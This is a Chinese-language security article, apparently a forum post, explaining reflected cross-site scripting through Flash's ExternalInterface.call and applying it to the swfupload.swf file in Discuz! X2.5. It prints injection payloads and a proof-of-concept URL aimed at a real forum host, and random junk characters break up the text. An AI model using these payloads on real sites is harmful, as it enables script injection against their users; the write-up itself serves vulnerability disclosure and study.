Flash应用安全系列[2]--Discuz! X2.5反射型跨站

admin

上回我们说
( `+ s* R& s- M- K
flash.external.ExternalInterface.call($methodName, $parameter)
. w1 ~0 Y0 `1 y+ y* ]7 _- G在浏览器中执行的是
) Y* w3 J7 e! B
# O' U  h) W3 q  ctry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
对于第一个传入的$methodName，flash player在输出js函数时是未经过任何编码的，上个例子里$methodName是全部可控的，但是我们知道了执行脚本的原理后，$methodName只需要部分可控，我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如

- `2 C0 V% f. u4 J  @flash.external.ExternalInterface.call("object."+$methodName, $parameter)
$methodName = a())}catch(e){alert(/xss/)}//
结果是不存在object.a方法，跳到catch，执行我们构造的任意JS。

try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
9 ^, h, u' f; r9 h' J* x
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss，乌云上也有这个漏洞的分析（ WooYun: WordPress反射型XSS ）
杯具的是，Discuz! X2.5中采用了一个同样的一个swfupload模块，而且还是修复前的版本。



6 U+ D' Y( a. ?* L  c4 V3 }8 z4 ~漏洞文件：upload\static\image\common\swfupload.swf
9 K# {9 ~' i# n7 b: z
5 s( A' F9 w& U0 d( b% i8 |原始SWF下载：http://swfpoc.appspot.com/vul/discuz_swfupload.swf

( \) H' W1 g: M( X' u" Z  P
漏洞证明：http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//


. Z1 Z; L/ u) M, u